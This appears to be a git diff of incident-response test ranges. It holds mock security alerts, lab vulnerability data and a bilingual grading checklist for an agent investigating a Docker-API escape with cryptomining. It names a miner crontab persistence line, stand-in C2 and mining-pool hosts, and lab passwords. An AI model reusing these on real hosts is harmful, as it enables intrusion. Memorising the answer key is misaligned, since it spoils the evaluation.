b/ranges/aspnet-viewstate/sas-mock/alerts.json @@ -0,0 +1,26 @@ +{ + "alerts": [ + { + "severity": "high", + "type": "Webshell", + "path": "C:\\inetpub\\wwwroot\\CRM\\help.aspx", + "ts": "2026-05-14T10:00:00Z", + "description": "ASPX Webshell detected" + }, + { + "severity": "high", + "type": "MaliciousProcess", + "name": "WindowsAuditSvc.exe", + "path": "C:\\ProgramData\\WindowsAudit\\WindowsAuditSvc.exe", + "ts": "2026-05-14T10:01:00Z", + "description": "Suspicious process in non-standard path making outbound HTTPS connection to malicious-update.example.cn:8443" + }, + { + "severity": "medium", + "type": "PersistenceWMI", + "namespace": "root\\subscription", + "ts": "2026-05-14T10:02:00Z", + "description": "Suspicious WMI permanent subscription" + } + ] +} diff --git a/ranges/aspnet-viewstate/sas-mock/baselines.json b/ranges/aspnet-viewstate/sas-mock/baselines.json new file mode 100644 index 0000000000000000000000000000000000000000..5bce9fb1c672174521dc98840acca698ad9ecac4 --- /dev/null +++ b/ranges/aspnet-viewstate/sas-mock/baselines.json @@ -0,0 +1,7 @@ +{ + "baselines": [ + {"check": "SQL Server sa enabled with weak password", "result": "fail", "evidence": "SpikeWin2019!"}, + {"check": "xp_cmdshell enabled", "result": "fail", "evidence": "sp_configure 'xp_cmdshell' = 1"}, + {"check": "MachineKey hardcoded in web.config", "result": "fail", "evidence": "static validationKey + decryptionKey"} + ] +} diff --git a/ranges/aspnet-viewstate/sas-mock/vulns.json b/ranges/aspnet-viewstate/sas-mock/vulns.json new file mode 100644 index 0000000000000000000000000000000000000000..ce60603f288bf197aa384e5615ac84febfb4f895 --- /dev/null +++ b/ranges/aspnet-viewstate/sas-mock/vulns.json @@ -0,0 +1,7 @@ +{ + "vulns": [ + {"cve": "MISC-2024-VIEWSTATE", "severity": "critical", "target": "/CRM/Login.aspx", "description": "ASP.NET ViewState deserialization via leaked MachineKey"}, + {"cve": "MISCONFIG-IIS-BAK", "severity": "high", "target": "/CRM/web.config.bak", "description": "Backup file exposed via IIS staticContent misconfig"}, + {"cve": "MISCONFIG-APPPOOL", "severity": "high", "target": "DefaultAppPool", "description": "AppPool runs as LocalSystem"} + ] +} diff --git a/ranges/docker-escape/checklist.en.md b/ranges/docker-escape/checklist.en.md new file mode 100644 index 0000000000000000000000000000000000000000..61e89dba74127872553ec506c57f74ded461ba80 --- /dev/null +++ b/ranges/docker-escape/checklist.en.md @@ -0,0 +1,249 @@ +# range-docker-escape Checklist + +Scoring criteria (ground truth) for evaluation. Each checkpoint is split into two independent scoring dimensions: detection score and plan score. + +- **Detection score** (max 3 pts): Discovery(1) + Evidence(1) + Attribution(1) — judging the detection Agent's analysis report — LLM-as-a-Judge +- **Plan score** (max 2 pts): Correctness(1) + Completeness(1) — judging the repair plan output by the detection Agent — LLM-as-a-Judge +- **detection-only**: Plan score marked N/A, not counted in the corresponding summary + +## Dimension 1: Intrusion entity identification and remediation (4 items) + +### CHK-01: Mining process detection `ENT-P01` +- **Evidence**: Process `/opt/.docker/.health-monitor` is running, disguised as a Docker container health-check tool +- **Detection score** (3 pts) + - Discovery: Identify the presence of the mining process + - Evidence: Point out the path `/opt/.docker/.health-monitor`, identify the disguised name (imitating Docker health check) + - Attribution: Associate the mining process with the attacker's profit-seeking behavior after intrusion +- **Plan score** (2 pts) + - Correctness: The plan provides the correct process termination command + - Completeness: The plan covers terminating the process + deleting the file + checking persistence mechanisms (crontab/systemd/bashrc) + +### CHK-02: Mining file cleanup `ENT-F02` +- **Evidence**: File `/opt/.docker/.health-monitor` (script) + log `/opt/.docker/.health-monitor.log` +- **Detection score** (3 pts) + - Discovery: Identify the malicious file + - Evidence: Point out the file path, note the hidden directory `/opt/.docker/` + - Attribution: Associate it with mining behavior +- **Plan score** (2 pts) + - Correctness: The plan provides the `rm -rf /opt/.docker/` cleanup command + - Completeness: The plan recommends checking common hidden directories such as /tmp, /var/tmp + +### CHK-03: Backdoor container detection and removal `ENT-F02` +- **Evidence**: Docker container `infra-monitor` is running, uses the `ubuntu:20.04` image, `--restart=always`, periodically sends heartbeats to C2 +- **Detection score** (3 pts) + - Discovery: Identify the anomalous container `infra-monitor` + - Evidence: Point out that the container uses the ubuntu:20.04 image (unrelated to business), `--restart=always`, `--network host` + - Attribution: Identify it as a backdoor container, with behavior being C2 heartbeat (wget to the attacker IP) +- **Plan score** (2 pts) + - Correctness: The plan provides the `docker stop && docker rm` commands + - Completeness: The plan recommends auditing all containers, checking for non-standard images and abnormal restart policies + +### CHK-04: Attacker SSH key `ENT-F04` +- **Evidence**: `/root/.ssh/authorized_keys` contains an unauthorized public key with the comment `deploy@ci-runner` +- **Detection score** (3 pts) + - Discovery: Discover the anomalous public key in authorized_keys + - Evidence: Point out that the public key comment is disguised as a CI/CD deployment key + - Attribution: Identify it as a persistence backdoor injected by the attacker via container escape +- **Plan score** (2 pts) + - Correctness: The plan precisely deletes the attacker's key line + - Completeness: The plan recommends auditing the authorized_keys of all users + +## Dimension 2: Baseline risk (7 items) + +### CHK-05: Docker TCP-API unauthenticated exposure `BAS-05` +- **Evidence**: Docker daemon listens on `tcp://0.0.0.0:2375`, with no TLS authentication; anyone who can access this port is equivalent to host root +- **Detection score** (3 pts) + - Discovery: Identify the high-risk exposure of the Docker TCP API + - Evidence: Cite the port 2375 listening state and the no-authentication configuration + - Attribution: Correctly characterize it as the root-cause entry point of this intrusion +- **Plan score** (2 pts) + - Correctness: The plan recommends closing the TCP listener or enabling TLS mutual authentication + - Completeness: The plan distinguishes two repair options: closing TCP (most secure) vs enabling TLS (retaining remote management capability), and assesses business impact + +### CHK-06: Docker daemon systemd override `BAS-05` +- **Evidence**: `/etc/systemd/system/docker.service.d/override.conf` adds the `-H tcp://0.0.0.0:2375` parameter +- **Detection score** (3 pts) + - Discovery: Locate the configuration source of the Docker TCP exposure + - Evidence: Cite the contents of the override.conf file + - Attribution: Identify it as a misconfiguration by operations staff (not planted by the attacker) +- **Plan score** (2 pts) + - Correctness: The plan provides the steps of deleting the override + daemon-reload + restart + - Completeness: The plan includes verifying that Docker listens only on the unix socket + +### CHK-07: developer user docker-group privilege `BAS-04` +- **Evidence**: The `developer` user belongs to the `docker` group, equivalent to having root privileges (can operate the host via the Docker socket) +- **Detection score** (3 pts) + - Discovery: Identify the privilege risk of docker group members + - Evidence: `id developer` shows docker group membership + - Attribution: Point out that docker group privileges equal root, an over-privileged configuration +- **Plan score** (2 pts) + - Correctness: The plan recommends removing developer from the docker group + - Completeness: The plan assesses the impact on the developer workflow after removal, recommending the use of rootless Docker or sudo instead + +### CHK-08: Container env-var database credentials `BAS-03` +- **Evidence**: `docker inspect company-postgres` reveals plaintext `POSTGRES_PASSWORD=AppDb@2024` +- **Detection score** (3 pts) + - Discovery: Identify that container environment variables expose the database password + - Evidence: Plaintext credentials can be directly obtained via `docker inspect` + - Attribution: The attacker can use this information to access the business database +- **Plan score** (2 pts) + - Correctness: The plan recommends using Docker secrets or a .env file (restricted permissions) instead of environment variables + - Completeness: The plan covers password rotation + the new password storage method + +### CHK-09: SSH authorized_keys management `BAS-01` +- **Evidence**: `/root/.ssh/authorized_keys` contains public keys not authorized by an administrator +- **Detection score** (3 pts) + - Discovery: Audit authorized_keys and discover unauthorized keys + - Evidence: List each public key and its comment + - Attribution: Identify which are legitimate keys and which are injected by the attacker +- **Plan score** (2 pts) + - Correctness: The plan precisely identifies and removes unauthorized keys + - Completeness: The plan recommends establishing an SSH key management standard + +### CHK-10: Business container security audit `BAS-05` +- **Evidence**: All containers should be reviewed for risky configurations such as privileged mode, unnecessary capabilities, and host networking +- **Detection score** (3 pts) + - Discovery: Perform a security audit of running containers + - Evidence: List the security configuration of each container (privileged, capabilities, network mode) + - Attribution: Point out how insecure configurations can be exploited by the attacker +- **Plan score** (2 pts) + - Correctness: The plan recommends configuring containers with the least-privilege principle + - Completeness: The plan covers privileged removal, capabilities restriction, user namespace + +### CHK-11: Docker-API port security-group/firewall `BAS-07` +- **Evidence**: Port 2375 is reachable from the public network (the attacker accesses the Docker API directly from outside) +- **Detection score** (3 pts) + - Discovery: Identify the risk of port 2375 being exposed to the public network + - Evidence: Infer from the successful connection to the Docker API from the attacker IP + - Attribution: Associate the port exposure with the starting point of the entire attack chain +- **Plan score** (2 pts) + - Correctness: The plan recommends blocking port 2375 at the security-group/firewall level + - Completeness: The plan provides specific security-group rules or iptables rules + +## Dimension 3: Persistence removal (5 items) + +### CHK-12: Crontab persistence `PER-S01` +- **Evidence**: `crontab -l` shows `*/10 * * * * /opt/.docker/.health-monitor >/dev/null 2>&1` +- **Detection score** (3 pts) + - Discovery: Identify the suspicious crontab entry + - Evidence: Cite the specific content, point out the 10-minute interval and silent output + - Attribution: Associate the crontab with mining process persistence +- **Plan score** (2 pts) + - Correctness: The plan provides the correct method to delete the malicious crontab entry + - Completeness: The plan recommends checking all users' crontabs and /etc/cron.d/ + +### CHK-13: Bashrc persistence `PER-I01` +- **Evidence**: `/root/.bashrc` contains a `# docker container environment initialization` code block that silently restarts mining +- **Detection score** (3 pts) + - Discovery: Identify the malicious code appended in bashrc + - Evidence: Cite the comment disguise ("docker container environment initialization") + - Attribution: Identify it as a persistence means that automatically restarts mining on each root login +- **Plan score** (2 pts) + - Correctness: The plan precisely locates the range of the code block to be deleted + - Completeness: The plan recommends checking .bash_profile, .profile, /etc/profile.d/ + +### CHK-14: Systemd service persistence `PER-V01` +- **Evidence**: `/etc/systemd/system/docker-health-agent.service`, disguised as a Docker health-check agent, with ExecStart pointing to `/opt/.docker/.health-monitor` +- **Detection score** (3 pts) + - Discovery: Identify the suspicious systemd service + - Evidence: Point out the unit file path and that ExecStart points to the mining script + - Attribution: Identify it as a persistence mechanism at the systemd level +- **Plan score** (2 pts) + - Correctness: The plan provides `systemctl stop && disable` + deletion + `daemon-reload` + - Completeness: The plan includes verification steps after cleanup + +### CHK-15: Systemd service masquerade ID `PER-V01` *detection-only* +- **Evidence**: The service name `docker-health-agent` and description `Docker Container Health Agent` deliberately imitate legitimate Docker operations tools +- **Detection score** (3 pts) + - Discovery: Point out the disguise technique of the service naming + - Evidence: Compare with legitimate Docker service naming, point out the deliberate imitation + - Attribution: Identify it as a means for the attacker to evade manual review +- **Plan score**: N/A + +### CHK-16: Comprehensive persistence scan `Q-05` *detection-only* +- **Evidence**: No persistence other than crontab/bashrc/systemd/SSH key/backdoor container +- **Detection score** (3 pts) + - Discovery: Perform a systematic persistence scan (init.d, rc.local, at jobs, profile.d, Docker restart policy, etc.) + - Evidence: Record the scan scope and method + - Attribution: Prove the comprehensiveness of the investigation +- **Plan score**: N/A + +## Dimension 4: Evaluation quality dimension (4 items) + +### CHK-17: Container-escape path inference `Q-01` *detection-only* +- **Evidence**: The attack container configuration has no residue in the snapshot; container escape can be inferred based on the consequences of the host being compromised and the Docker API being publicly reachable +- **Detection score** (3 pts) + - Discovery: Infer the existence of container escape based on host consequences + - Evidence: Support the inference with observed host intrusion traces, and note the absence of direct evidence + - Attribution: Explain how the attacker obtained host root privileges via the container +- **Plan score**: N/A + +### CHK-18: Entry-point determination `Q-01` `Q-04` *detection-only* +- **Evidence**: The `-H tcp://0.0.0.0:2375` in `/etc/systemd/system/docker.service.d/override.conf` indicates that the Docker Remote API is exposed on 2375 without authentication +- **Detection score** (3 pts) + - Discovery: Correctly determine the entry point as "Docker Remote API unauthorized access" + - Evidence: Cite the Docker daemon configuration + - Attribution: Rule out SSH brute force and web vulnerabilities, correctly characterize it as Docker API abuse +- **Plan score**: N/A +- **Critical**: The Agent should not fabricate a CVE or web vulnerability as the entry point + +### CHK-19: Attack-timeline reconstruction `Q-02` *detection-only* +- **Evidence**: Docker events timestamps +- **Detection score** (3 pts) + - Discovery: Organize the attack timeline anchored on observable file times + - Evidence: List the daemon configuration time and host residue time, infer the complete time chain of Docker API probing → privileged container → SSH key injection → host login → mining → persistence → cleanup + - Attribution: Cross-correlate multiple timestamp sources, explain the sequence based on known time anchors +- **Plan score**: N/A +- **Critical**: A complete event chain is not required; fabricating timestamps should be penalized + +## Dimension 5: Remediation closure (5 items) + +### CHK-20: Docker daemon secure restart `Q-07` +- **Evidence**: After repairing the Docker configuration, the daemon should listen only on the unix socket +- **Detection score** (3 pts) + - Discovery: Recommend repairing the Docker daemon configuration + - Evidence: Provide the configuration change plan + - Attribution: Reflect root-cause repair awareness +- **Plan score** (2 pts) + - Correctness: The plan provides the process of deleting the override + daemon-reload + restart + - Completeness: The plan includes verifying that the Docker service runs normally and no longer listens on TCP + +### CHK-21: Port 2375 closure confirmation `BAS-05` +- **Evidence**: After repair, port 2375 should not be reachable +- **Detection score** (3 pts) + - Discovery: Verify that the port is closed + - Evidence: Provide the port check command and result + - Attribution: Confirm that the root cause has been eliminated +- **Plan score** (2 pts) + - Correctness: The plan provides the `ss -tlnp` and `curl` verification commands + - Completeness: The plan verifies from both inside the host and externally + +### CHK-22: Business container normal operation `Q-07` +- **Evidence**: The Nginx, WebApp, and PostgreSQL containers should run normally after repair +- **Detection score** (3 pts) + - Discovery: Recommend verifying that the repair operation did not affect the business + - Evidence: List the services that need to be verified + - Attribution: Reflect business-impact awareness +- **Plan score** (2 pts) + - Correctness: The plan lists the health-check commands for each container + - Completeness: The plan covers docker ps status + HTTP interface verification + +### CHK-23: Attacker-IP firewall block `ENT-N01` +- **Evidence**: The attacker IP identified from Docker events / SSH logs +- **Detection score** (3 pts) + - Discovery: Recommend blocking the attacker IP + - Evidence: Cite the specific IP address + - Attribution: Associate with Docker API abuse +- **Plan score** (2 pts) + - Correctness: The plan provides the correct firewall rule + - Completeness: The plan includes rule persistence + +### CHK-24: Mining outbound-connection block `ENT-N02` +- **Evidence**: The mining program once connected to `stratum+tcp://pool.evil-example.invalid:3333` +- **Detection score** (3 pts) + - Discovery: Recommend blocking the mining pool outbound connection + - Evidence: Cite the mining pool address + - Attribution: Identify it as mining traffic +- **Plan score** (2 pts) + - Correctness: The plan provides the outbound blocking rule + - Completeness: The plan includes blocking of IP + port and rule persistence diff --git a/ranges/docker-escape/checklist.md b/ranges/docker-escape/checklist.md new file mode 100644 index 0000000000000000000000000000000000000000..7d2e3c9c99850f27f14d667ae8794f53d60615ce --- /dev/null +++ b/ranges/docker-escape/checklist.md @@ -0,0 +1,249 @@ +# range-docker-escape 检查清单 + +评估的评分标准(ground truth)。每个检查点拆分为检测分、方案分两个独立评分维度。 + +- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1) — 评判检测 Agent 的分析报告 — LLM-as-a-Judge +- **方案分**(满分 2 分):正确性(1) + 完整性(1) — 评判检测 Agent 输出的修复方案 — LLM-as-a-Judge +- **仅检测项**:方案分标记 N/A,不参与对应汇总 + +## 维度 1:入侵实体识别与处置(4 项) + +### CHK-01:挖矿进程检测 `ENT-P01` +- **证据**:进程 `/opt/.docker/.health-monitor` 正在运行,伪装为 Docker 容器健康检查工具 +- **检测分**(3 分) + - 发现:识别到挖矿进程存在 + - 证据:指出路径 `/opt/.docker/.health-monitor`,识别伪装名称(模仿 Docker 健康检查) + - 归因:将挖矿进程与攻击者入侵后的牟利行为关联 +- **方案分**(2 分) + - 正确性:方案给出正确的进程终止命令 + - 完整性:方案涵盖终止进程 + 删除文件 + 检查守护机制(crontab/systemd/bashrc) + +### CHK-02:挖矿文件清理 `ENT-F02` +- **证据**:文件 `/opt/.docker/.health-monitor`(脚本)+ 日志 `/opt/.docker/.health-monitor.log` +- **检测分**(3 分) + - 发现:识别到恶意文件 + - 证据:指出文件路径,注意隐藏目录 `/opt/.docker/` + - 归因:将其与挖矿行为关联 +- **方案分**(2 分) + - 正确性:方案给出 `rm -rf /opt/.docker/` 的清理命令 + - 完整性:方案建议检查 /tmp、/var/tmp 等常见隐藏目录 + +### CHK-03:后门容器检测与清除 `ENT-F02` +- **证据**:Docker 容器 `infra-monitor` 运行中,使用 `ubuntu:20.04` 镜像,`--restart=always`,定期向 C2 发送心跳 +- **检测分**(3 分) + - 发现:识别到异常容器 `infra-monitor` + - 证据:指出容器使用 ubuntu:20.04 镜像(与业务无关)、`--restart=always`、`--network host` + - 归因:识别为后门容器,行为为 C2 心跳(wget 到攻击者 IP) +- **方案分**(2 分) + - 正确性:方案给出 `docker stop && docker rm` 命令 + - 完整性:方案建议审计所有容器,检查非标准镜像和异常 restart policy + +### CHK-04:攻击者 SSH 密钥 `ENT-F04` +- **证据**:`/root/.ssh/authorized_keys` 中包含注释为 `deploy@ci-runner` 的非授权公钥 +- **检测分**(3 分) + - 发现:发现 authorized_keys 中的异常公钥 + - 证据:指出公钥注释伪装为 CI/CD 部署密钥 + - 归因:识别为攻击者通过容器逃逸注入的持久化后门 +- **方案分**(2 分) + - 正确性:方案精确删除攻击者密钥行 + - 完整性:方案建议审计所有用户的 authorized_keys + +## 维度 2:基线风险(7 项) + +### CHK-05:Docker TCP API 未授权暴露 `BAS-05` +- **证据**:Docker daemon 监听 `tcp://0.0.0.0:2375`,无 TLS 认证,任何能访问该端口的人等同于宿主机 root +- **检测分**(3 分) + - 发现:识别 Docker TCP API 暴露的高危风险 + - 证据:引用端口 2375 监听状态和无认证配置 + - 归因:将其正确定性为本次入侵的根因入口 +- **方案分**(2 分) + - 正确性:方案建议关闭 TCP 监听或启用 TLS 双向认证 + - 完整性:方案区分两种修复方案:关闭 TCP(最安全)vs 启用 TLS(保留远程管理能力),评估业务影响 + +### CHK-06:Docker daemon systemd override `BAS-05` +- **证据**:`/etc/systemd/system/docker.service.d/override.conf` 添加了 `-H tcp://0.0.0.0:2375` 参数 +- **检测分**(3 分) + - 发现:定位到 Docker TCP 暴露的配置来源 + - 证据:引用 override.conf 文件内容 + - 归因:识别为运维人员的错误配置(非攻击者植入) +- **方案分**(2 分) + - 正确性:方案给出删除 override + daemon-reload + restart 的步骤 + - 完整性:方案包含验证 Docker 仅监听 unix socket + +### CHK-07:developer 用户 docker 组权限 `BAS-04` +- **证据**:`developer` 用户属于 `docker` 组,等同于拥有 root 权限(可通过 Docker socket 操作宿主机) +- **检测分**(3 分) + - 发现:识别 docker 组成员的权限风险 + - 证据:`id developer` 显示 docker 组成员 + - 归因:指出 docker 组权限等同 root,是权限过大的配置 +- **方案分**(2 分) + - 正确性:方案建议将 developer 移出 docker 组 + - 完整性:方案评估移除后对开发者工作流的影响,建议使用 rootless Docker 或 sudo 代替 + +### CHK-08:容器环境变量中的数据库凭证 `BAS-03` +- **证据**:`docker inspect company-postgres` 可见明文 `POSTGRES_PASSWORD=AppDb@2024` +- **检测分**(3 分) + - 发现:识别到容器环境变量暴露数据库密码 + - 证据:通过 `docker inspect` 可直接获取明文凭证 + - 归因:攻击者利用此信息可访问业务数据库 +- **方案分**(2 分) + - 正确性:方案建议使用 Docker secrets 或 .env 文件(受限权限)替代环境变量 + - 完整性:方案涵盖密码轮换 + 新密码存储方式 + +### CHK-09:SSH authorized_keys 管理 `BAS-01` +- **证据**:`/root/.ssh/authorized_keys` 包含非管理员授权的公钥 +- **检测分**(3 分) + - 发现:审计 authorized_keys 发现非授权密钥 + - 证据:列出每个公钥及其注释 + - 归因:识别哪些是合法密钥、哪些是攻击者注入的 +- **方案分**(2 分) + - 正确性:方案精确标识并移除非授权密钥 + - 完整性:方案建议建立 SSH 密钥管理规范 + +### CHK-10:业务容器安全审计 `BAS-05` +- **证据**:应审查所有容器是否存在 privileged 模式、不必要的能力(capabilities)、host 网络等风险配置 +- **检测分**(3 分) + - 发现:对运行容器进行安全审计 + - 证据:列出每个容器的安全配置(privileged、capabilities、网络模式) + - 归因:指出不安全配置如何被攻击者利用 +- **方案分**(2 分) + - 正确性:方案建议以最小权限原则配置容器 + - 完整性:方案覆盖 privileged 移除、capabilities 限制、user namespace + +### CHK-11:Docker API 端口安全组/防火墙 `BAS-07` +- **证据**:2375 端口从公网可达(攻击者从外部直接访问 Docker API) +- **检测分**(3 分) + - 发现:识别 2375 端口对公网暴露的风险 + - 证据:从攻击者 IP 能成功连接 Docker API 推断 + - 归因:将端口暴露与整条攻击链的起点关联 +- **方案分**(2 分) + - 正确性:方案建议在安全组/防火墙层面封禁 2375 端口 + - 完整性:方案给出具体的安全组规则或 iptables 规则 + +## 维度 3:持久化清除(5 项) + +### CHK-12:Crontab 持久化 `PER-S01` +- **证据**:`crontab -l` 显示 `*/10 * * * * /opt/.docker/.health-monitor >/dev/null 2>&1` +- **检测分**(3 分) + - 发现:识别到可疑 crontab 条目 + - 证据:引用具体内容,指出 10 分钟间隔和静默输出 + - 归因:将 crontab 与挖矿进程持久化关联 +- **方案分**(2 分) + - 正确性:方案给出删除恶意 crontab 条目的正确方法 + - 完整性:方案建议检查所有用户的 crontab 和 /etc/cron.d/ + +### CHK-13:Bashrc 持久化 `PER-I01` +- **证据**:`/root/.bashrc` 中包含 `# docker container environment initialization` 代码块,静默重启挖矿 +- **检测分**(3 分) + - 发现:识别 bashrc 中追加的恶意代码 + - 证据:引用注释伪装("docker container environment initialization") + - 归因:识别为每次 root 登录时自动重启挖矿的持久化手段 +- **方案分**(2 分) + - 正确性:方案精确定位需删除的代码块范围 + - 完整性:方案建议检查 .bash_profile、.profile、/etc/profile.d/ + +### CHK-14:Systemd 服务持久化 `PER-V01` +- **证据**:`/etc/systemd/system/docker-health-agent.service`,伪装为 Docker 健康检查代理,ExecStart 指向 `/opt/.docker/.health-monitor` +- **检测分**(3 分) + - 发现:识别到可疑 systemd 服务 + - 证据:指出 unit 文件路径和 ExecStart 指向挖矿脚本 + - 归因:识别为 systemd 层面的持久化机制 +- **方案分**(2 分) + - 正确性:方案给出 `systemctl stop && disable` + 删除 + `daemon-reload` + - 完整性:方案包含清理后的验证步骤 + +### CHK-15:Systemd 服务伪装识别 `PER-V01` *仅检测项* +- **证据**:服务名 `docker-health-agent` 和描述 `Docker Container Health Agent` 刻意模仿合法 Docker 运维工具 +- **检测分**(3 分) + - 发现:指出服务命名的伪装手法 + - 证据:对比合法 Docker 服务命名,指出刻意模仿 + - 归因:识别为攻击者躲避人工审查的手段 +- **方案分**:N/A + +### CHK-16:全面持久化扫描 `Q-05` *仅检测项* +- **证据**:除 crontab/bashrc/systemd/SSH 密钥/后门容器外无其他持久化 +- **检测分**(3 分) + - 发现:执行系统性的持久化扫描(init.d、rc.local、at 任务、profile.d、Docker restart policy 等) + - 证据:记录扫描范围和方法 + - 归因:证明排查全面性 +- **方案分**:N/A + +## 维度 4:评测质量维度(4 项) + +### CHK-17:容器逃逸路径推断 `Q-01` *仅检测项* +- **证据**:攻击容器配置在快照中已无残留,可基于宿主机被入侵的后果与 Docker API 公网可达推断容器逃逸 +- **检测分**(3 分) + - 发现:基于宿主机后果推断容器逃逸的存在 + - 证据:以已观察到的宿主机入侵痕迹支撑推断,并标注直接证据缺失 + - 归因:解释攻击者如何通过容器获取宿主机 root 权限 +- **方案分**:N/A + +### CHK-18:入口判定 `Q-01` `Q-04` *仅检测项* +- **证据**:`/etc/systemd/system/docker.service.d/override.conf` 中的 `-H tcp://0.0.0.0:2375` 表明 Docker Remote API 在 2375 暴露且无认证 +- **检测分**(3 分) + - 发现:正确判定入口为 "Docker Remote API 未授权访问" + - 证据:引用 Docker daemon 配置 + - 归因:排除 SSH 暴力破解和 Web 漏洞,正确定性为 Docker API 滥用 +- **方案分**:N/A +- **关键**:Agent 不应编造 CVE 或 Web 漏洞作为入口 + +### CHK-19:攻击时间线重建 `Q-02` *仅检测项* +- **证据**:Docker events 时间戳 +- **检测分**(3 分) + - 发现:以可观察文件时间为锚点整理攻击时间线 + - 证据:列出 daemon 配置时间与宿主机残留时间,推测Docker API 探测 → privileged 容器 → SSH 密钥注入 → 宿主机登录 → 挖矿 → 持久化 → 清理的完整时间链 + - 归因:将多个时间戳来源交叉关联,在已知时间锚点上说明先后次序 +- **方案分**:N/A +- **关键**:不要求完整事件链;编造时间戳应扣分 + +## 维度 5:修复闭环(5 项) + +### CHK-20:Docker daemon 安全重启 `Q-07` +- **证据**:修复 Docker 配置后 daemon 应仅监听 unix socket +- **检测分**(3 分) + - 发现:建议修复 Docker daemon 配置 + - 证据:给出配置变更方案 + - 归因:体现根因修复意识 +- **方案分**(2 分) + - 正确性:方案给出删除 override + daemon-reload + restart 流程 + - 完整性:方案包含验证 Docker 服务正常运行且不再监听 TCP + +### CHK-21:端口 2375 关闭确认 `BAS-05` +- **证据**:修复后 2375 端口不应可达 +- **检测分**(3 分) + - 发现:验证端口已关闭 + - 证据:给出端口检查命令和结果 + - 归因:确认根因已消除 +- **方案分**(2 分) + - 正确性:方案给出 `ss -tlnp` 和 `curl` 验证命令 + - 完整性:方案同时从主机内部和外部验证 + +### CHK-22:业务容器正常运行 `Q-07` +- **证据**:Nginx、WebApp、PostgreSQL 容器应在修复后正常运行 +- **检测分**(3 分) + - 发现:建议验证修复操作未影响业务 + - 证据:列出需要验证的服务 + - 归因:体现业务影响意识 +- **方案分**(2 分) + - 正确性:方案列出各容器的健康检查命令 + - 完整性:方案涵盖 docker ps 状态 + HTTP 接口验证 + +### CHK-23:攻击者 IP 防火墙封禁 `ENT-N01` +- **证据**:从 Docker events / SSH 日志识别的攻击者 IP +- **检测分**(3 分) + - 发现:建议封禁攻击者 IP + - 证据:引用具体 IP 地址 + - 归因:关联到 Docker API 滥用 +- **方案分**(2 分) + - 正确性:方案给出正确的防火墙规则 + - 完整性:方案包含规则持久化 + +### CHK-24:挖矿外连封禁 `ENT-N02` +- **证据**:挖矿程序曾连接 `stratum+tcp://pool.evil-example.invalid:3333` +- **检测分**(3 分) + - 发现:建议封禁矿池出站连接 + - 证据:引用矿池地址 + - 归因:识别为挖矿流量 +- **方案分**(2 分) + - 正确性:方案给出出站封禁规则 + - 完整性:方案包含 IP + 端口的封禁和规则持久化 diff --git a/ranges/docker-escape/disk.tar.gz b/ranges/docker-escape/disk.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..ddfb8d2c7113465e8cc3adeb59caf72450526a87 --- /dev/null +++ b/ranges/docker-escape/disk.tar.gz @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a8e0409aef0465522082b007a5a5f5f85f3d7377a404e801dceb514d7f8ed206 +size 1150413746 diff --git a/ranges/docker-escape/disk.tar.gz.sha256 b/ranges/docker-escape/disk.tar.gz.sha256 new file mode 100644 index 0000000000000000000000000000000000000000..61d6189d70a4c7dc149a373b6348c6787061ada4 --- /dev/null +++ b/ranges/docker-escape/disk.tar.gz.sha256 @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:562b58df4b98d320a9121cf7b99771594504a02028b88c4260dba6eb30df6b52 +size 78 diff --git a/ranges/docker-escape/sas-mock/alerts.json b/ranges/docker-escape/sas-mock/alerts.json new file mode 100644 index 0000000000000000000000000000000000000000..6c1d8725f778c39d95fa6c64b57b5fe26dae48af --- /dev/null +++ b/ranges/docker-escape/sas-mock/alerts.json @@ -0,0 +1,111 @@ +{ + "Count": 3, + "CurrentPage": 1, + "PageSize": 50, + "RequestId": "E7H1G6I5-CH8F-1G0I-FD34-5678901234EF", + "SuspEvents": [ + { + "AlarmEventName": "挖矿程序", + "AlarmEventNameDisplay": "挖矿程序", + "AlarmEventType": "挖矿行为", + "AlarmEventTypeDisplay": "挖矿行为", + "AlarmUniqueInfo": "a1b2c3d4e5f6789012345678abcdef01", + "CanBeDealOnLine": false, + "DataSource": "aegis_suspicious_event", + "Desc": "云安全中心检测到您的服务器上存在疑似挖矿行为,进程持续高CPU占用。", + "Details": [ + { "NameDisplay": "提示", "Type": "text", "Value": "检测到您的机器上出现了疑似挖矿进程, 请及时排查.", "ValueDisplay": "检测到您的机器上出现了疑似挖矿进程, 请及时排查." }, + { "NameDisplay": "ATT&CK 矩阵ID", "Type": "text", "Value": "T1496", "ValueDisplay": "T1496" }, + { "NameDisplay": "数据来源", "Type": "text", "Value": "进程行为检测", "ValueDisplay": "进程行为检测" }, + { "NameDisplay": "告警原因", "Type": "text", "Value": "该进程持续占用大量CPU资源, 命令行模式与已知挖矿程序特征匹配.", "ValueDisplay": "该进程持续占用大量CPU资源, 命令行模式与已知挖矿程序特征匹配." }, + { "NameDisplay": "用户名", "Type": "text", "Value": "root", "ValueDisplay": "root" }, + { "NameDisplay": "命令行", "Type": "text", "Value": "bash /opt/.docker/.health-monitor", "ValueDisplay": "bash /opt/.docker/.health-monitor" }, + { "NameDisplay": "进程路径", "Type": "text", "Value": "/usr/bin/bash", "ValueDisplay": "/usr/bin/bash" }, + { "NameDisplay": "进程ID", "Type": "text", "Value": "4721", "ValueDisplay": "4721" }, + { "NameDisplay": "描述", "Type": "text", "Value": "挖矿程序会大量消耗服务器CPU/GPU资源进行虚拟货币挖矿, 导致正常业务性能下降.", "ValueDisplay": "挖矿程序会大量消耗服务器CPU/GPU资源进行虚拟货币挖矿, 导致正常业务性能下降." }, + { "NameDisplay": "处置建议", "Type": "text", "Value": "1. 立即kill挖矿进程; 2. 排查挖矿脚本来源和持久化机制; 3. 检查服务器是否存在其他入侵痕迹.", "ValueDisplay": "1. 立即kill挖矿进程; 2. 排查挖矿脚本来源和持久化机制; 3. 检查服务器是否存在其他入侵痕迹." } + ], + "EventStatus": 1, + "EventSubType": "挖矿程序", + "HasTraceInfo": false, + "Id": 813553701, + "InstanceId": "i-mock-docker-escape-001", + "InstanceName": "range-docker-escape-victim", + "InternetIp": "__VICTIM_IP__", + "IntranetIp": "172.16.33.131", + "Level": "serious", + "Name": "挖矿行为-挖矿程序", + "OccurrenceTime": "__SAS_TS_BASE__ 15:32:18", + "Stages": "[\"影响\"]", + "TacticItems": [{ "TacticDisplayName": "影响", "TacticId": "TA0040" }] + }, + { + "AlarmEventName": "异常定时任务写入", + "AlarmEventNameDisplay": "可疑Cron任务", + "AlarmEventType": "持久化后门", + 